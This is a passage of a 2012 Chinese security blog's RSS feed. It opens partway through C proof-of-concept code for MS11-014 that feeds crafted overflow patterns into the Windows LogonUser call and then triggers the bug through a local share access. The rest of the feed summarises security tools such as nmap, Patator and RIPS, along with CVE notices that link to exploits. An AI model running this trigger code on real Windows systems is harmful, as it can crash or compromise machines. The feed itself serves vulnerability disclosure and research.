((offsets[idxOffset] = (offsets[idxOffset] + 1) % szCharsets[idxOffset]) == 0))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //pattern[idxPattern] = charsets[idxOffset][offsets[idxOffset]];<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //idxPattern++;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; idxOffset -= 1;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp; // cleanup<br />cleanup:<br />&nbsp;&nbsp;&nbsp; for (idxOffset = 0; idxOffset &amp;lt; nCharsets; idxOffset++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; free(charsets[idxOffset]);<br />&nbsp;&nbsp;&nbsp; free(charsets);<br />&nbsp;&nbsp;&nbsp; free(offsets);<br />&nbsp;&nbsp;&nbsp; free(szCharsets);<br /><br />&nbsp;&nbsp;&nbsp; return pattern;<br />}<br /><br />char* byte_repeat(uint8_t byte, size_t n)<br />{<br />&nbsp;&nbsp;&nbsp; char *buffer;<br /><br />&nbsp;&nbsp;&nbsp; // alloc buffer<br />&nbsp;&nbsp;&nbsp; buffer = calloc(n+1, sizeof(*buffer));<br />&nbsp;&nbsp;&nbsp; if (!buffer)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return NULL;<br /><br />&nbsp;&nbsp;&nbsp; memset(buffer, byte, n);<br /><br />&nbsp;&nbsp;&nbsp; return buffer;<br />}<br /><br />int main(int argc, char *argv[])<br />{<br />&nbsp;&nbsp;&nbsp; char *buffer;<br />&nbsp;&nbsp;&nbsp; HANDLE hToken;<br />&nbsp;&nbsp;&nbsp; int idx;<br /><br />&nbsp;&nbsp;&nbsp; // overflow<br />&nbsp;&nbsp;&nbsp; for (idx = 0; idx &amp;lt; 2048; idx += 4)<br />&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buffer = pattern_create(idx);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LogonUser(<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _T(&quot;username&quot;),<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (TCHAR*)buffer,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _T(&quot;password&quot;),<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LOGON32_LOGON_NEW_CREDENTIALS, // defined as 9<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LOGON32_PROVIDER_WINNT50, // defined as 0<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;hToken<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;pattern(%5d): %s\n&quot;, idx, buffer);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; free(buffer);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ImpersonateLoggedOnUser(hToken);<br />&nbsp;&nbsp;&nbsp; }<br /><br />&nbsp;&nbsp;&nbsp; // trigger<br />&nbsp;&nbsp;&nbsp; CreateFile(<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; _T(&quot;\\\\127.0.0.1\\c$\\boot.ini&quot;),<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GENERIC_READ,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FILE_SHARE_READ|FILE_SHARE_WRITE,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL, // security attributes<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OPEN_EXISTING,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; FILE_ATTRIBUTE_NORMAL,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL<br />&nbsp;&nbsp;&nbsp; );<br /><br />&nbsp;&nbsp;&nbsp; return 0;<br />}</pre>...]]></description><category>PoC</category><comments>http://www.pulog.org/poc/2370/MS11-014/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2370</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2370&amp;key=af01bb18</trackback:ping></item><item><title>网络安全监控工具 - Bro</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2369/Bro/</link><pubDate>Fri, 13 Jan 2012 09:38:01 +0800</pubDate><guid>http://www.pulog.org/tools/2369/Bro/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Bro是一个强大的网络分析框架，它与ids相比又有很多不同的地方。与通用的网络传输分析工具相比它侧重于网络安全监控和提供一个完整的平台化工具。Bro的特别之处：<br />Adaptable: Bro&rsquo;s domain-specific scripting language enables site-specific monitoring policies.<br />Efficient: Bro targets high-performance networks and is used operationally at a variety of large sites.<br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2369/Bro/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2369</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2369&amp;key=822aa976</trackback:ping></item><item><title>安全web开发教学 - SWEET</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/Resources/2368/SWEET/</link><pubDate>Fri, 13 Jan 2012 08:54:35 +0800</pubDate><guid>http://www.pulog.org/Resources/2368/SWEET/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; SWEET (Secure WEb dEvelopment Teaching) 是一系列便携式教学模块用于安全web开发。SWEET包含了八个教学模块，六个项目模块和一个虚拟web开发平台。<br />八个教学模块：<br />1.Introduction to Web Technologies<br />2.Introduction to Cryptography<br />3.Secure Web Transactions<br />4.Web Application Threat Assessment<br />...</p>]]></description><category>资源推荐</category><comments>http://www.pulog.org/Resources/2368/SWEET/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2368</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2368&amp;key=09bfd2e1</trackback:ping></item><item><title>CVE-2011-3607 </title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/poc/2367/CVE-2011-3607/</link><pubDate>Thu, 12 Jan 2012 07:21:58 +0800</pubDate><guid>http://www.pulog.org/poc/2367/CVE-2011-3607/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Apache HTTP服务器是流行的开放源代码WEB服务器程序，可使用在Unix和Windows操作系统下。 Apache HTTP Server在&quot;ap_pregsub()&quot;函数的实现上存在本地权限提升漏洞。本地攻击者可利用此漏洞以提升的权限执行任意代码。<br />poc：http://www.halfdog.net/Security/2011/ApacheModSetEnvIfIntegerOverflow/DemoExploit.html</p>...]]></description><category>PoC</category><comments>http://www.pulog.org/poc/2367/CVE-2011-3607/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2367</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2367&amp;key=0fb26e4f</trackback:ping></item><item><title>渗透测试平台 - Mantra on Chromium</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2366/Mantra-on-Chromium/</link><pubDate>Thu, 12 Jan 2012 07:06:35 +0800</pubDate><guid>http://www.pulog.org/tools/2366/Mantra-on-Chromium/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Mantra on Chromium是一款轻量级、便携式、基于google Chrome的渗透测试平台。Mantra中收集了大量的免费和开源工具并将他们集成到浏览器中，使用起来非常方便。 Mantra平台中的涵盖了渗透测试几个阶段：侦察、扫描和枚举、获取访问权限、提升权限、维持访问权限和清除痕迹。Mantra适用于学生、渗透测试人员、web开发人员、专业安全研究人员等。Mantra中的小工具比较有意思，值得玩玩，另外，默认情况下Mantra只开启了部分工具插件，有兴趣的可以将插件全部开启，逐个试一试。<br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2366/Mantra-on-Chromium/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2366</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2366&amp;key=a5ede163</trackback:ping></item><item><title>php漏洞挖掘工具 - PHP Vulnerability Hunter 1.2.0.2 </title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2365/phpvh-1.2.0.2/</link><pubDate>Wed, 11 Jan 2012 07:28:14 +0800</pubDate><guid>http://www.pulog.org/tools/2365/phpvh-1.2.0.2/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; PHP Vulnerability Hunter是一款php web应用程序fuzz工具，他可以通过静态和动态分析扫描php程序中的一些不同类型的漏洞。phpvh已经更新1.2.0.2版，新版本改变如下：<br />Fixed crash caused by space in path name<br />工具下载：http://code.google.com/p/php-vulnerability-hunter/downloads/detail?name=phpvh1.2.0.2.zip&amp;can=2&amp;q=</p>...]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2365/phpvh-1.2.0.2/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2365</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2365&amp;key=183c5ac2</trackback:ping></item><item><title>heaper </title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2364/heaper/</link><pubDate>Tue, 10 Jan 2012 06:33:19 +0800</pubDate><guid>http://www.pulog.org/tools/2364/heaper/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; heaper 是一款Immunity Debugger插件，主要设计用来分析windows环境下的堆结构，辅助windows堆溢出和其他一些复杂堆漏洞利用程序的编写。有了heaper你可以快速察看堆数据结构、hook重要的堆api函数并决定可能的漏洞利用方式。heaper可以为分析人员确定目标程序的堆布局。小遗憾的是heaper目前只支持windows xp，不过未来它将支持windows 7/8的堆管理。<br />工具下载：https://github.com/mrmee/heaper</p>...]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2364/heaper/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2364</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2364&amp;key=d8924745</trackback:ping></item><item><title>SSLSmart</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2363/SSLSmart/</link><pubDate>Sun, 08 Jan 2012 17:21:56 +0800</pubDate><guid>http://www.pulog.org/tools/2363/SSLSmart/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; SSLSmart是一款高度灵活和可交互的SSL安全性测试工具，它可以测试SSL支持的cipher suite。它与其它一些SSL测试工具相比是可以执行深度测试，另外SSLSmart实用RUBY编写，支持windows和linux平台。SSLSmart的主要特点：<br />&nbsp;&nbsp;&nbsp; Content Scan (default): Exact server response can be seen in HTML and Text forms for each cipher suite selected for the test URL. Basically, it shows various server error messages received for weak cipher suites from live systems.<br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2363/SSLSmart/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2363</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2363&amp;key=9fd1a01d</trackback:ping></item><item><title>Patator</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2362/Patator/</link><pubDate>Sat, 07 Jan 2012 05:13:54 +0800</pubDate><guid>http://www.pulog.org/tools/2362/Patator/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Patator是一款python实现的支持多种应用的brute-forcer，Patator支持的应用包括：<br />* ftp_login&nbsp;&nbsp;&nbsp;&nbsp; : Brute-force FTP<br />&nbsp;* ssh_login&nbsp;&nbsp;&nbsp;&nbsp; : Brute-force SSH<br />&nbsp;* telnet_login&nbsp; : Brute-force Telnet<br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2362/Patator/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2362</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2362&amp;key=3f16aafa</trackback:ping></item><item><title>nmap 5.61TEST4</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2361/nmap-5.61TEST4/</link><pubDate>Thu, 05 Jan 2012 07:32:27 +0800</pubDate><guid>http://www.pulog.org/tools/2361/nmap-5.61TEST4/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; 新年伊始，nmap小小的更新了一下，不过带给我们的东西却不少，有几点重要的：增加了Patrik Karlsson&rsquo;s spidering library，用于抓取web站点页面。看来spider几乎已经成了web安全相关工具的标配了。增加了Djalal Harouni and Henri Doreau&rsquo;s vulnerability management library用于漏洞报告的输出。增加了51个新脚本...<br />工具下载：http://nmap.org/download.html</p>...]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2361/nmap-5.61TEST4/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2361</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2361&amp;key=fb1871a8</trackback:ping></item><item><title>Technitium MAC Address Changer</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2360/MAC-Changer-0.6/</link><pubDate>Wed, 04 Jan 2012 13:19:23 +0800</pubDate><guid>http://www.pulog.org/tools/2360/MAC-Changer-0.6/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Technitium MAC Address Changer是一款MAC地址更改工具，它可以更改网卡的MAC地址。Technitium MAC Address Changer提供了一个非常简单的界面并且会列出机器中每个网卡的信息。Technitium MAC Address Changer的主要特点是支持ipv6，可工作在windows 7/8 32位/64位操作系统下。<br /><br />工具下载：http://www.technitium.com/tmac/index.html#download</p>...]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2360/MAC-Changer-0.6/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2360</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2360&amp;key=525668c5</trackback:ping></item><item><title>naxsi 0.42</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2359/naxsi-0.42/</link><pubDate>Wed, 04 Jan 2012 12:55:50 +0800</pubDate><guid>http://www.pulog.org/tools/2359/naxsi-0.42/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Naxsi是一个开放源代码、高效、低维护规则的Nginx web应用防火墙(waf)模块。Naxsi的主要目标是帮助人们加固他们的web应用程序，以抵御SQL注入、跨站脚本、跨域伪造请求、本地和远程文件包含漏洞。Naxsi有别于其他waf的地方在于,它不依赖于签名来检测和阻止攻击，它使用了一个简单的模块检测HTTP请求/参数中的特殊字符，而不是试图匹配已知的攻击。Naxsi采用为请求中不常见的字符打分的方式检测攻击，一旦请求的恶意积分达到一定的阈值则阻断请求。naxsi&nbsp; 0.42变化不大，更新了白名单hash表...<br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2359/naxsi-0.42/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2359</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2359&amp;key=31c42b4c</trackback:ping></item><item><title>RIPS 5.0</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2358/RIPS-5.0/</link><pubDate>Tue, 03 Jan 2012 18:42:24 +0800</pubDate><guid>http://www.pulog.org/tools/2358/RIPS-5.0/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; RIPS是一款不错的静态源代码分析工具，主要用来挖掘PHP程序的漏洞。RIPS 5.0发布了，增加了大约30个sensitive sinks和一些新的userinput函数；可以跟踪代码快了，并能分析一些简单的混淆代码，如把所有php代码放在一行并去掉空格；对array及其key的处理更加准确；RIPS采用面向对象的方式重写了其源代码，代码更加规范易懂；修复了一些已知的bug；能够自动扫描全局变量覆盖问题了(extract, parse_str, $$key = $value, import_request_variables等)...总之RIPS在不断进步。<br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2358/RIPS-5.0/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2358</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2358&amp;key=fdf853f8</trackback:ping></item><item><title>CVE-2011-4607</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/poc/2357/CVE-2011-4607/</link><pubDate>Mon, 02 Jan 2012 20:01:33 +0800</pubDate><guid>http://www.pulog.org/poc/2357/CVE-2011-4607/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; CVE-2011-4607(PuTTY Password-not-Wiped Vulnerability)一个有意思的漏洞，PuTTY认证成功后，没有清除内存中的用户名和密码。导致恶意软件可以从PyTTY进程内存中获取敏感信息。<br />漏洞分析：http://xorl.wordpress.com/2012/01/02/cve-2011-4607-putty-password-not-wiped-vulnerability/<br />[+]Reference:<br />...</p>]]></description><category>PoC</category><comments>http://www.pulog.org/poc/2357/CVE-2011-4607/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2357</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2357&amp;key=00798c9c</trackback:ping></item><item><title>Pokas x86 Emulator</title><author>wpulog@126.com (wpulog)</author><link>http://www.pulog.org/tools/2356/Pokas-x86-Emulator/</link><pubDate>Sun, 01 Jan 2012 07:34:40 +0800</pubDate><guid>http://www.pulog.org/tools/2356/Pokas-x86-Emulator/</guid><description><![CDATA[<p>&nbsp;&nbsp;&nbsp; Pokas x86 Emulator是一款应用程序模拟器，它可以用于脱壳和病毒检测算法测试。Pokas可以模拟32位PE可执行文件的执行并监控所有内存写入。Pokas x86 Emulator免费并且开放源代码。Pokas x86 Emulator使用dev-c++开发，下载x86emu-src后可以直接在dev-c++下编译。编译x86emu-src\X86 Emulator\examples\01下的例子可能会遇到多个undefined reference错误，如我的中文界面的dev-c++提示如下错误：<br />...</p>]]></description><category>安全工具</category><comments>http://www.pulog.org/tools/2356/Pokas-x86-Emulator/#comment</comments><wfw:comment>http://www.pulog.org/</wfw:comment><wfw:commentRss>http://www.pulog.org/feed.asp?cmt=2356</wfw:commentRss><trackback:ping>http://www.pulog.org/cmd.asp?act=tb&amp;id=2356&amp;key=d87d398d</trackback:ping></item></channel></rss>

